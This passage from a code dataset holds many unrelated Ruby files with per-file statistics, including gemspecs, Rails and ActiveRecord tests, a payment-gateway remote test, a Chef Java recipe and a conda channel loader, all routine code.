VERSION = "0.0.2" unless const_defined?(:VERSION)
def self.version
VERSION
end
end
end
| 13.272727 | 53 | 0.664384 |
acd795a9115c212822188759b283d5ed26182262 | 110 | $LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'chess'
require 'rspec/collection_matchers' | 36.666667 | 58 | 0.772727 |
61121a5c9f7669708b4aea7e0cfc09f03d19e084 | 731 | Gem::Specification.new do |s|
s.name = 'fluent-plugin-sqlite3'
s.version = '1.0.2'
s.date = '2018-04-21'
s.summary = "fluentd output to sqlite3"
s.description = "fluentd output to sqlite3"
s.authors = ["Tomotaka Sakuma", "Hiroshi Hatake"]
s.email = ['[email protected]', '[email protected]']
s.files = ["lib/fluent/plugin/out_sqlite3.rb"]
s.homepage = 'https://github.com/cosmo0920/fluent-plugin-sqlite3.git'
s.add_dependency "fluentd", [">= 0.14.15", "< 2"]
s.add_dependency "sqlite3", ">= 1.3.7"
s.add_development_dependency "test-unit", "~> 3.2.0"
s.add_development_dependency "rake", "~> 12.0.0"
s.add_development_dependency "bundler", "~> 1.13"
end
| 40.611111 | 74 | 0.636115 |
ac717b57c9ee284852055ec7e147f5712487a545 | 106 | Given /^an attack "(.*?)" exists$/ do |attack_name|
expect(Gauntlt.attacks).to include(attack_name)
end
| 26.5 | 51 | 0.707547 |
aca4c9bab33c839fb92b1d43eb3d4c69100de84f | 2,137 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "googleauth"
module Google
module Cloud
module Bigtable
module Admin
module V2
module BigtableInstanceAdmin
# Credentials for the BigtableInstanceAdmin API.
class Credentials < ::Google::Auth::Credentials
self.scope = [
"https://www.googleapis.com/auth/bigtable.admin",
"https://www.googleapis.com/auth/bigtable.admin.cluster",
"https://www.googleapis.com/auth/bigtable.admin.instance",
"https://www.googleapis.com/auth/cloud-bigtable.admin",
"https://www.googleapis.com/auth/cloud-bigtable.admin.cluster",
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/cloud-platform.read-only"
]
self.env_vars = [
"BIGTABLE_CREDENTIALS",
"BIGTABLE_KEYFILE",
"GOOGLE_CLOUD_CREDENTIALS",
"GOOGLE_CLOUD_KEYFILE",
"GCLOUD_KEYFILE",
"BIGTABLE_CREDENTIALS_JSON",
"BIGTABLE_KEYFILE_JSON",
"GOOGLE_CLOUD_CREDENTIALS_JSON",
"GOOGLE_CLOUD_KEYFILE_JSON",
"GCLOUD_KEYFILE_JSON"
]
self.paths = [
"~/.config/google_cloud/application_default_credentials.json"
]
end
end
end
end
end
end
end
| 35.616667 | 79 | 0.611605 |
e237972c8f7923373e4d867c5bdc86a77297464a | 2,578 | # frozen_string_literal: true
require "httparty"
require "json"
class Channel
ARCHES = %w[linux-32 linux-64 linux-aarch64 linux-armv6l linux-armv7l linux-ppc64le osx-64 win-64 win-32 noarch zos-z].freeze
attr_reader :timestamp
def initialize(channel, domain)
@channel_name = channel
@domain = domain
@timestamp = Time.now
@lock = Concurrent::ReadWriteLock.new
reload
end
def reload
new_packages = retrieve_packages
@lock.with_write_lock { @packages = new_packages }
@timestamp = Time.now
end
def packages
@lock.with_read_lock { @packages }
end
def package_version(name, version)
@lock.with_read_lock do
raise Sinatra::NotFound unless @packages.key?(name)
@packages[name][:versions].filter { |package| package[:number] == version }
end
end
def only_one_version_packages
@lock.with_read_lock { remove_duplicate_versions(@packages) }
end
private
def retrieve_packages
packages = {}
channeldata = HTTParty.get("https://#{@domain}/#{@channel_name}/channeldata.json")["packages"]
ARCHES.each do |arch|
blob = HTTParty.get("https://#{@domain}/#{@channel_name}/#{arch}/repodata.json")["packages"]
blob.each_key do |key|
version = blob[key]
package_name = version["name"]
unless packages.key?(package_name)
package_data = channeldata[package_name]
packages[package_name] = base_package(package_data, package_name)
end
packages[package_name][:versions] << release_version(key, version)
end
end
packages
end
def base_package(package_data, package_name)
{
versions: [],
repository_url: package_data["dev_url"],
homepage: package_data["home"],
licenses: package_data["license"],
description: package_data["description"],
name: package_name,
}
end
def release_version(artifact, package_version)
{
artifact: artifact,
download_url: "https://#{@domain}/#{@channel_name}/#{package_version['subdir']}/#{artifact}",
number: package_version["version"],
original_license: package_version["license"],
published_at: package_version["timestamp"].nil? ? nil : Time.at(package_version["timestamp"] / 1000),
dependencies: package_version["depends"],
arch: package_version["subdir"],
channel: @channel_name,
}
end
def remove_duplicate_versions(packages)
packages.each_value do |value|
value[:versions] = value[:versions].uniq { |vers| vers[:number] }
end
packages
end
end
| 27.425532 | 127 | 0.674166 |
ab4591c05e96a3dc1ee31f0a066109d3bb5e1870 | 1,861 | #
# Copyright (C) 2017 Brad Ottoson
# This file is released under the zlib/libpng license, see license.txt in the
# root directory
#
# This class contains utility functions useful for all languages.
require 'lang_profile.rb'
class UtilsBase
def initialize(langName)
@langProfile = LangProfiles.instance.profiles[langName]
end
# Returns true if this is a primitive data type
def isPrimitive(var)
return @langProfile.isPrimitive(var)
end
# Return the language type based on the generic type
def getTypeName(var)
if (var.vtype != nil)
return @langProfile.getTypeName(var.vtype)
else
return CodeNameStyling.getStyled(var.utype, @langProfile.classNameStyle)
end
end
# Return the language type based on the generic type
def getType(gType)
return @langProfile.getType(gType)
end
# Returns the version of this name styled for this language
def getStyledVariableName(var, prefix = '', postfix = '')
return CodeNameStyling.getStyled(prefix + var.name + postfix, @langProfile.variableNameStyle)
end
def getStyledFunctionName(funName)
return CodeNameStyling.getStyled(funName, @langProfile.functionNameStyle)
end
# Returns the version of this class name styled for this language
def getStyledClassName(className)
return CodeNameStyling.getStyled(className, @langProfile.classNameStyle)
end
def getStyledEnumName(enumName)
return CodeNameStyling.getStyled(enumName, @langProfile.enumNameStyle)
end
# Returns the version of this file name styled for this language
def getStyledFileName(fileName)
return CodeNameStyling.getStyled(fileName, @langProfile.fileNameStyle)
end
# Get the extension for a file type
def getExtension(eType)
return @langProfile.getExtension(eType)
end
end | 29.539683 | 98 | 0.73079 |
ed7a04ee7df1366280164ce7da3162cc3f0c1be2 | 4,268 | # frozen_string_literal: true
require "cases/helper"
require "models/post"
module ActiveRecord
class RelationMutationTest < ActiveRecord::TestCase
(Relation::MULTI_VALUE_METHODS - [:extending, :order, :unscope, :select]).each do |method|
test "##{method}!" do
assert relation.public_send("#{method}!", :foo).equal?(relation)
assert_equal [:foo], relation.public_send("#{method}_values")
end
end
test "#_select!" do
assert relation._select!(:foo).equal?(relation)
assert_equal [:foo], relation.select_values
end
test "#order!" do
assert relation.order!("name ASC").equal?(relation)
assert_equal ["name ASC"], relation.order_values
end
test "#order! with symbol prepends the table name" do
assert relation.order!(:name).equal?(relation)
node = relation.order_values.first
assert_predicate node, :ascending?
assert_equal "name", node.expr.name
assert_equal "posts", node.expr.relation.name
end
test "#order! on non-string does not attempt regexp match for references" do
obj = Object.new
assert_not_called(obj, :=~) do
assert relation.order!(obj)
assert_equal [obj], relation.order_values
end
end
test "extending!" do
mod, mod2 = Module.new, Module.new
assert relation.extending!(mod).equal?(relation)
assert_equal [mod], relation.extending_values
assert relation.is_a?(mod)
relation.extending!(mod2)
assert_equal [mod, mod2], relation.extending_values
end
test "extending! with empty args" do
relation.extending!
assert_equal [], relation.extending_values
end
(Relation::SINGLE_VALUE_METHODS - [:lock, :reordering, :reverse_order, :create_with, :skip_query_cache, :strict_loading]).each do |method|
test "##{method}!" do
assert relation.public_send("#{method}!", :foo).equal?(relation)
assert_equal :foo, relation.public_send("#{method}_value")
end
end
test "#from!" do
assert relation.from!("foo").equal?(relation)
assert_equal "foo", relation.from_clause.value
end
test "#lock!" do
assert relation.lock!("foo").equal?(relation)
assert_equal "foo", relation.lock_value
end
test "#reorder!" do
@relation = relation.order("foo")
assert relation.reorder!("bar").equal?(relation)
assert_equal ["bar"], relation.order_values
assert relation.reordering_value
end
test "#reorder! with symbol prepends the table name" do
assert relation.reorder!(:name).equal?(relation)
node = relation.order_values.first
assert_predicate node, :ascending?
assert_equal "name", node.expr.name
assert_equal "posts", node.expr.relation.name
end
test "reverse_order!" do
@relation = Post.order("title ASC, comments_count DESC")
relation.reverse_order!
assert_equal "title DESC", relation.order_values.first
assert_equal "comments_count ASC", relation.order_values.last
relation.reverse_order!
assert_equal "title ASC", relation.order_values.first
assert_equal "comments_count DESC", relation.order_values.last
end
test "create_with!" do
assert relation.create_with!(foo: "bar").equal?(relation)
assert_equal({ foo: "bar" }, relation.create_with_value)
end
test "merge!" do
assert relation.merge!(select: :foo).equal?(relation)
assert_equal [:foo], relation.select_values
end
test "merge with a proc" do
assert_equal [:foo], relation.merge(-> { select(:foo) }).select_values
end
test "none!" do
assert relation.none!.equal?(relation)
assert_equal [NullRelation], relation.extending_values
assert relation.is_a?(NullRelation)
end
test "distinct!" do
relation.distinct! :foo
assert_equal :foo, relation.distinct_value
end
test "skip_query_cache!" do
relation.skip_query_cache!
assert relation.skip_query_cache_value
end
test "skip_preloading!" do
relation.skip_preloading!
assert relation.skip_preloading_value
end
private
def relation
@relation ||= Relation.new(FakeKlass)
end
end
end
| 29.232877 | 142 | 0.669869 |
03404228d023cefadf21e5212fcc232a4a969a8c | 2,716 | require 'test_helper'
class RemotePagoFacilTest < Test::Unit::TestCase
def setup
@gateway = PagoFacilGateway.new(fixtures(:pago_facil))
@amount = 100
@credit_card = ActiveMerchant::Billing::CreditCard.new(
number: '4111111111111111',
verification_value: '123',
first_name: 'Juan',
last_name: 'Reyes Garza',
month: 9,
year: Time.now.year + 1
)
@declined_card = ActiveMerchant::Billing::CreditCard.new(
number: '1111111111111111',
verification_value: '123',
first_name: 'Juan',
last_name: 'Reyes Garza',
month: 9,
year: Time.now.year + 1
)
@options = {
order_id: '1',
billing_address: {
address1: 'Anatole France 311',
address2: 'Polanco',
city: 'Miguel Hidalgo',
state: 'Distrito Federal',
country: 'Mexico',
zip: '11560',
phone: '5550220910'
},
email: '[email protected]',
cellphone: '5550123456'
}
end
def test_successful_purchase
response = successful_response_to do
@gateway.purchase(@amount, @credit_card, @options)
end
assert response.authorization
assert_equal 'Transaction has been successful!-Approved', response.message
end
def test_failed_purchase
response = @gateway.purchase(@amount, @declined_card, @options)
assert_failure response
assert_equal 'Errores en los datos de entrada Validaciones', response.message
end
def test_invalid_login
gateway = PagoFacilGateway.new(
branch_id: '',
merchant_id: '',
service_id: 3
)
response = gateway.purchase(@amount, @credit_card, @options)
assert_failure response
end
def test_successful_purchase_usd
options = @options.merge(currency: 'USD')
response = successful_response_to do
@gateway.purchase(@amount, @credit_card, options)
end
assert_equal 'USD', response.params['dataVal']['divisa']
assert response.authorization
assert_equal 'Transaction has been successful!-Approved', response.message
end
# Even when all the parameters are correct the PagoFacil's test service will
# respond randomly (can be approved or declined). When for this reason the
# service returns a "declined" response, the response should have the error
# message 'Declined_(General)'
def successful_response_to
attempts = 0
loop do
random_response = yield
if random_response.success?
return random_response
elsif(attempts > 2)
raise "Unable to get a successful response"
else
assert_equal 'Declined_(General).', random_response.params.fetch('error')
attempts += 1
end
end
end
end
| 27.714286 | 81 | 0.667158 |
6227eda0448e2bffd7a6ff1f3d518110e6dbb00f | 405 | require 'spec_helper'
describe "bootstrap::profile::cache_docker" do
let(:node) { 'test.example.com' }
let(:facts) { {
:osfamily => 'RedHat',
:operatingsystem => 'CentOS',
:operatingsystemrelease => '7.2.1511',
:operatingsystemmajrelease => '7',
:kernelversion => '3.10.0',
} }
it { is_expected.to compile.with_all_deps }
end
| 23.823529 | 46 | 0.565432 |
01b0cd5c314b520463c783f81995704ec5b7c5ff | 292 | # frozen_string_literal: true
class ImportController < Controller
attr_accessor :filepath
def run
log 'Import votes from an external CSV'
get_input :filepath, 'Enter the filepath of the CSV file? '
voting_machine.import_votes(filepath)
log 'Votes imported!'
end
end
| 19.466667 | 63 | 0.736301 |
ff8a3a971df02159b0b132116cead00412f2db0b | 568 | require 'fireap/controller/fire'
require 'fireap/context'
require 'lib/test_config'
class TestContext
attr :ctx
def initialize
config = TestConfig.tasks # will be ctx.config
@ctx = Fireap::Context.new
end
end
describe 'Fireap::Controller::Fire#new' do
ctx = TestContext.new.ctx
config = ctx.config
apps = config.task['apps']
context 'given valid arguments' do
it 'can new' do
firer = Fireap::Controller::Fire.new({'app' => apps.keys[0]}, ctx)
expect(firer).to be_an_instance_of(Fireap::Controller::Fire)
end
end
end
| 22.72 | 72 | 0.68838 |
4a1a01104fe25fa2c949ef0cbd5160a06bd2869a | 3,909 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
require_relative '../logic_action'
class LogicJump < LogicAction
attr_accessor :to_type, :to_ref, :logic_condition
def initialize(to_type: nil, to_ref: nil, logic_condition: nil)
@to_type = to_type
@to_ref = to_ref
@logic_condition = logic_condition
end
def self.from_response(payload)
to_type = payload[:details][:to][:type]
to_ref = payload[:details][:to][:value]
logic_condition = LogicCondition.from_response(payload[:condition])
LogicJump.new(to_type: to_type, to_ref: to_ref, logic_condition: logic_condition)
end
def self.create_field_logic_jump(form, block_type)
logic_block = form.blocks.find { |block| Block.block_symbol_to_string(block.type) == block_type }
to_ref = if form.blocks.last.ref == logic_block.ref
form.blocks.first.ref
else
form.blocks.last.ref
end
logic_condition = LogicCondition.generate_from_block(logic_block)
LogicJump.new(to_type: 'field', to_ref: to_ref, logic_condition: logic_condition)
end
def self.create_always_jump(form)
LogicJump.new(to_type: 'field', to_ref: form.blocks.first.ref, logic_condition: LogicCondition.new(op: 'always'))
end
def self.create_hidden_logic_jump(form)
logic_condition_details = LogicConditionDetails.new(reference_type: 'hidden', reference: form.hidden[0], value_type: 'constant', value: 'abc')
logic_condition = LogicCondition.new(op: 'equal', vars: [logic_condition_details])
LogicJump.new(to_type: 'field', to_ref: form.blocks.first.ref, logic_condition: logic_condition)
end
def self.create_variable_logic_jump(form)
logic_condition_details = LogicConditionDetails.new(reference_type: 'variable', reference: 'score', value_type: 'constant', value: 5)
logic_condition = LogicCondition.new(op: 'equal', vars: [logic_condition_details])
LogicJump.new(to_type: 'field', to_ref: form.blocks.first.ref, logic_condition: logic_condition)
end
def self.create_nested_logic_jump(form)
logic_condition1 = LogicCondition.generate_from_block(form.blocks[0])
logic_condition2 = LogicCondition.generate_from_block(form.blocks[1])
logic_condition3 = LogicCondition.generate_from_block(form.blocks[2])
and_logic_condition = LogicCondition.new(op: 'and', vars: [logic_condition1, logic_condition2])
or_logic_condition = LogicCondition.new(op: 'or', vars: [logic_condition3, and_logic_condition])
LogicJump.new(to_type: 'field', to_ref: form.blocks.last.ref, logic_condition: or_logic_condition)
end
def self.create_thankyou_logic_jump(form)
logic_condition = LogicCondition.generate_from_block(form.blocks[0])
LogicJump.new(to_type: 'thankyou', to_ref: form.thank_you_screens.first.ref, logic_condition: logic_condition)
end
def payload
payload = {}
payload[:action] = 'jump'
payload[:details] = { to: { type: to_type, value: to_ref } }
payload[:condition] = logic_condition.payload
payload
end
def same?(actual)
to_type == actual.to_type &&
to_ref == actual.to_ref &&
logic_condition.same?(actual.logic_condition)
end
end
| 42.956044 | 146 | 0.745971 |
26166ad5b906694b86db08e2f6f4ce73580a3603 | 1,385 | #
class UsersController < ProtectedController
skip_before_action :authenticate, only: [:signup, :signin]
# POST '/sign-up'
def signup
user = User.create(user_creds)
if user.valid?
render json: user, status: :created
else
head :bad_request
end
end
# POST '/sign-in'
def signin
creds = user_creds
if (user = User.authenticate creds[:email],
creds[:password])
render json: user, serializer: UserLoginSerializer, root: 'user'
else
head :unauthorized
end
end
# DELETE '/sign-out/1'
def signout
if current_user == User.find(params[:id])
current_user.logout
head :no_content
else
head :unauthorized
end
end
# PATCH '/change-password/:id'
def changepw
if !current_user.authenticate(pw_creds[:old]) ||
(current_user.password = pw_creds[:new]).blank? ||
!current_user.save
head :bad_request
else
head :no_content
end
end
def index
render json: User.all
end
def show
user = User.find(params[:id])
render json: user
end
def update
head :bad_request
end
private
def user_creds
params.require(:credentials)
.permit(:email, :password)
end
def pw_creds
params.require(:passwords)
.permit(:old, :new)
end
private :user_creds, :pw_creds
end
| 18.716216 | 70 | 0.620939 |
bbafa9100728c5361ddb4daccf32795fe9deb845 | 1,764 | #
# Author:: Bryan W. Berry (<[email protected]>)
# Cookbook Name:: java
# Recipe:: oracle
#
# Copyright 2011, Bryan w. Berry
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
java_home = node['java']["java_home"]
arch = node['java']['arch']
jdk_version = node['java']['jdk_version']
#convert version number to a string if it isn't already
if jdk_version.instance_of? Fixnum
jdk_version = jdk_version.to_s
end
case jdk_version
when "6"
tarball_url = node['java']['jdk']['6'][arch]['url']
tarball_checksum = node['java']['jdk']['6'][arch]['checksum']
when "7"
tarball_url = node['java']['jdk']['7'][arch]['url']
tarball_checksum = node['java']['jdk']['7'][arch]['checksum']
end
if tarball_url =~ /example.com/
Chef::Application.fatal!("You must change the download link to your private repository. You can no longer download java directly from http://download.oracle.com without a web broswer")
end
ruby_block "set-env-java-home" do
block do
ENV["JAVA_HOME"] = java_home
end
end
file "/etc/profile.d/jdk.sh" do
content <<-EOS
export JAVA_HOME=#{node['java']["java_home"]}
EOS
mode 0755
end
java_ark "jdk" do
url tarball_url
checksum tarball_checksum
app_home java_home
bin_cmds ["java", "jar"]
action :install
end
| 27.138462 | 186 | 0.712585 |
18de4355903bfc0a6594354a646e7b5abcf7b400 | 1,333 | require 'temporal/connection/serializer/continue_as_new'
require 'temporal/workflow/command'
describe Temporal::Connection::Serializer::ContinueAsNew do
describe 'to_proto' do
it 'produces a protobuf' do
command = Temporal::Workflow::Command::ContinueAsNew.new(
workflow_type: 'my-workflow-type',
task_queue: 'my-task-queue',
input: ['one', 'two'],
timeouts: Temporal.configuration.timeouts,
headers: {'foo-header': 'bar'},
memo: {'foo-memo': 'baz'},
)
result = described_class.new(command).to_proto
expect(result).to be_an_instance_of(Temporal::Api::Command::V1::Command)
expect(result.command_type).to eql(
:COMMAND_TYPE_CONTINUE_AS_NEW_WORKFLOW_EXECUTION
)
expect(result.continue_as_new_workflow_execution_command_attributes).not_to be_nil
attribs = result.continue_as_new_workflow_execution_command_attributes
expect(attribs.workflow_type.name).to eq('my-workflow-type')
expect(attribs.task_queue.name).to eq('my-task-queue')
expect(attribs.input.payloads[0].data).to eq('"one"')
expect(attribs.input.payloads[1].data).to eq('"two"')
expect(attribs.header.fields['foo-header'].data).to eq('"bar"')
expect(attribs.memo.fields['foo-memo'].data).to eq('"baz"')
end
end
end
| 36.027027 | 88 | 0.691673 |
aca2e63d55ce07e7f4d0f3efde39afcb5f53958c | 345 | # encoding: utf-8
require "logstash/outputs/base"
# An dlq_output output that does nothing.
class LogStash::Outputs::DlqOutput < LogStash::Outputs::Base
config_name "dlq_output"
public
def register
end # def register
public
def receive(event)
return "Event received"
end # def event
end # class LogStash::Outputs::DlqOutput
| 20.294118 | 60 | 0.736232 |
bf62b28a0028da3ac63b52106a41b42856ddc594 | 1,199 | require_relative "boot"
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
# require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
require "sprockets/railtie"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module PeriodicTable
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 6.1
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Don't generate system test files.
config.generators.system_tests = nil
end
end
| 30.74359 | 79 | 0.765638 |
f83f4923755dde0dc694287dcb08c0f8babeab3d | 280 | cask "font-copse" do
version :latest
sha256 :no_check
url "https://github.com/google/fonts/raw/main/ofl/copse/Copse-Regular.ttf",
verified: "github.com/google/fonts/"
name "Copse"
homepage "https://fonts.google.com/specimen/Copse"
font "Copse-Regular.ttf"
end
| 23.333333 | 77 | 0.710714 |
6176b4cad82fc0459b1cb01a481a43d9af9131e6 | 118 | RSpec.describe FootTraffic do
it "has a version number" do
expect(FootTraffic::VERSION).not_to be nil
end
end
| 19.666667 | 46 | 0.745763 |
ffef38f4534db4bdf1457645bf9ecb7d65718728 | 1,340 | require 'rails_helper'
describe "employers/census_employees/new.html.erb" do
before(:all) do
@user = FactoryGirl.create(:user)
p=FactoryGirl.create(:person, user: @user)
@hbx_staff_role = FactoryGirl.create(:hbx_staff_role, person: p)
end
let(:census_employee) { CensusEmployee.new }
let(:employer_profile) { FactoryGirl.create(:employer_profile) }
before :each do
sign_in @user
assign(:employer_profile, employer_profile)
assign(:census_employee, census_employee)
allow(view).to receive(:policy_helper).and_return(double("PersonPolicy", updateable?: true))
render "employers/census_employees/new"
end
context 'for cobra' do
it 'should have cobra area' do
expect(rendered).to have_selector('div#cobra_info')
end
it "should have cobra checkbox" do
expect(rendered).to match /Check the box if this person is already in enrolled into COBRA\/Continuation outside of PA Insurance Department/
expect(rendered).to have_selector('input#census_employee_existing_cobra')
end
it "should have cobra_begin_date_field" do
expect(rendered).to have_selector('div#cobra_begin_date_field')
expect(rendered).to match /COBRA Begin Date/
expect(rendered).to have_selector('.interaction-field-control-census-employee-cobra_begin_date')
end
end
end
| 36.216216 | 145 | 0.738806 |
9191e12d090c51b06c20cee7a659f15cad1af7a4 | 236 | #puts "Hello World!"
#puts "Hello Again"
#puts "I like typing this."
#puts "This is fun."
puts "Yay! Printing."
#puts "I'd much rather you 'not'."
#puts 'I "said" do not touch this.'
puts "This is the extra line requested by the book."
| 26.222222 | 52 | 0.677966 |
6a7a07762462ec5d8fd6ecf4e7bc0dea7adfbbf3 | 820 | require 'rails_helper'
RSpec.feature 'Add Transaction', type: :feature do
login_user
background do
@category = FactoryBot.create(:category, user: @user)
end
given(:activity) { FactoryBot.build(:activity) }
scenario 'Transaction with valid inputs' do
visit new_activity_path
within 'form' do
fill_in 'Name', with: activity.name
fill_in 'Amount', with: activity.amount
select @category.name
end
click_button 'SAVE'
expect(page).to have_current_path category_path(@category)
end
scenario 'Category with invalid inputs' do
visit new_activity_path
within 'form' do
fill_in 'Name', with: activity.name
fill_in 'Amount', with: activity.amount
end
click_button 'SAVE'
expect(page).to have_content "Categories can't be blank"
end
end
| 24.848485 | 62 | 0.7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.